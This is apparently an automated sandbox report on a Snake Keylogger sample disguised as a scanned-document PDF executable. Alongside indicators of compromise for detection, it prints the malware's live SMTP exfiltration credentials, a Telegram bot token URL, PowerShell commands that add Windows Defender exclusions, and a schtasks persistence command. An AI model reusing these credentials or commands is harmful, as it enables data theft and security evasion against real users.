snakekeylogger | 03535f0c9dd34640a80fc2c578a293b34baa183f90e28eb8d2a6f8953e74472a

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-10-2024 03:56

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General

Target

SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe
Size

886KB
MD5

e22f1bbf54fbbd8d0135772dac71ac13
SHA1

b44ed322c53cb34c9eb7988c65be76eb7c78f089
SHA256

9e4e77d4f212e5aad71c2a0409c801b64e89b9f92a0ce4e2903b587bc5a70485
SHA512

2e577425a1d81e682777ae7b8c0dd9718923f6c0b2367a0096b7aa803bfb21eb02a4ded17600f6f9767b5ab853ddff56ebd8b39dd0ab8da341257d2e50aa3d58
SSDEEP

24576:14njPTfWh2y0ukcncNmGgvYTDn2KSQjHT5GA2ekyFh3C0cq:mmGhDneeQHMh3C0cq

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

Credentials

Protocol: smtp
Host:
mail.vlccwellness.com
Port:
587
Username:
[email protected]
Password:
taiyab31121984
Email To:
[email protected]

https://api.telegram.org/bot1865023387:AAFbWPISsv486p_o9A4CIDR1FBfAq1W7nUc/sendMessage?chat_id=1788371409

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 5 IoCs

resource	yara_rule
behavioral1/memory/2660-30-0x0000000000400000-0x0000000000424000-memory.dmp	family_snakekeylogger
behavioral1/memory/2660-31-0x0000000000400000-0x0000000000424000-memory.dmp	family_snakekeylogger
behavioral1/memory/2660-29-0x0000000000400000-0x0000000000424000-memory.dmp	family_snakekeylogger
behavioral1/memory/2660-26-0x0000000000400000-0x0000000000424000-memory.dmp	family_snakekeylogger
behavioral1/memory/2660-24-0x0000000000400000-0x0000000000424000-memory.dmp	family_snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2824	powershell.exe
2804	powershell.exe
2628	powershell.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	checkip.dyndns.org
8	freegeoip.app
9	freegeoip.app

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2552 set thread context of 2660	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	38

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1316	2660	WerFault.exe	38

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2204	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2660	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe
2628	powershell.exe
2824	powershell.exe
2804	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2660	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe
Token: SeDebugPrivilege	2628	powershell.exe
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 2552 wrote to memory of 2824	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	31
PID 2552 wrote to memory of 2824	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	31
PID 2552 wrote to memory of 2824	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	31
PID 2552 wrote to memory of 2824	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	31
PID 2552 wrote to memory of 2804	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	33
PID 2552 wrote to memory of 2804	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	33
PID 2552 wrote to memory of 2804	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	33
PID 2552 wrote to memory of 2804	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	33
PID 2552 wrote to memory of 2204	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	34
PID 2552 wrote to memory of 2204	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	34
PID 2552 wrote to memory of 2204	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	34
PID 2552 wrote to memory of 2204	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	34
PID 2552 wrote to memory of 2628	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	37
PID 2552 wrote to memory of 2628	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	37
PID 2552 wrote to memory of 2628	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	37
PID 2552 wrote to memory of 2628	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	37
PID 2552 wrote to memory of 2660	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	38
PID 2552 wrote to memory of 2660	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	38
PID 2552 wrote to memory of 2660	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	38
PID 2552 wrote to memory of 2660	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	38
PID 2552 wrote to memory of 2660	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	38
PID 2552 wrote to memory of 2660	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	38
PID 2552 wrote to memory of 2660	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	38
PID 2552 wrote to memory of 2660	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	38
PID 2552 wrote to memory of 2660	2552	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	38
PID 2660 wrote to memory of 1316	2660	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	40
PID 2660 wrote to memory of 1316	2660	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	40
PID 2660 wrote to memory of 1316	2660	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	40
PID 2660 wrote to memory of 1316	2660	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	40

C:\Users\Admin\AppData\Local\Temp\SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe
"C:\Users\Admin\AppData\Local\Temp\SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2552
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2824
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\NEQcsxsAehXEc.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2804
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NEQcsxsAehXEc" /XML "C:\Users\Admin\AppData\Local\Temp\tmp77A0.tmp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:2204
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\NEQcsxsAehXEc.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2628
- C:\Users\Admin\AppData\Local\Temp\SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe
  "C:\Users\Admin\AppData\Local\Temp\SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2660 -s 1572
    3⤵
    - Program crash
    PID:1316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\tmp77A0.tmp

Filesize
1KB

MD5
c4cc32791a69408b72a11ace9068761c

SHA1
fb89919623953fccbb6bcfa953017447924bf407

SHA256
fee0bd75b10c9a1f432e31dc4d26ce07a6d9a459b56aa68d6c07e79b906a73ba

SHA512
ece4d75ea830a3f4a2f9c5cfd47587846f078c2ee9bf5d7a105ce51538a5c98323a4101f160976aba387a446a7fbe2b97125d69d9cb0f8ddd48accc2849e18b5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
87e49fbb868cf9054f66d87912171af1

SHA1
9a3d4bb5b53d5311619f6c4806858d8f40e96952

SHA256
37ea2031cb487f6112ad81202609a014bfc77a4418417e93c28e8fbb4c881666

SHA512
ca4fa5d8144ce17fdc5d6ae8749958491d6fde9beab3c07909d58ca5591e1ce1f540a1f2e2d9bfcd6401d5b6417dfc59988bbfd6e3dfc0e8727d836786f1e59c

Download Submit
memory/2552-4-0x00000000749FE000-0x00000000749FF000-memory.dmp

Filesize
4KB

Download
memory/2552-3-0x0000000000550000-0x0000000000566000-memory.dmp

Filesize
88KB

Download
memory/2552-0-0x00000000749FE000-0x00000000749FF000-memory.dmp

Filesize
4KB

Download
memory/2552-5-0x00000000749F0000-0x00000000750DE000-memory.dmp

Filesize
6.9MB

Download
memory/2552-6-0x0000000007220000-0x00000000072AE000-memory.dmp

Filesize
568KB

Download
memory/2552-7-0x0000000004B30000-0x0000000004B56000-memory.dmp

Filesize
152KB

Download
memory/2552-2-0x00000000749F0000-0x00000000750DE000-memory.dmp

Filesize
6.9MB

Download
memory/2552-1-0x0000000000300000-0x00000000003E4000-memory.dmp

Filesize
912KB

Download
memory/2552-32-0x00000000749F0000-0x00000000750DE000-memory.dmp

Filesize
6.9MB

Download
memory/2660-31-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2660-29-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2660-28-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2660-26-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2660-24-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2660-22-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2660-20-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2660-30-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download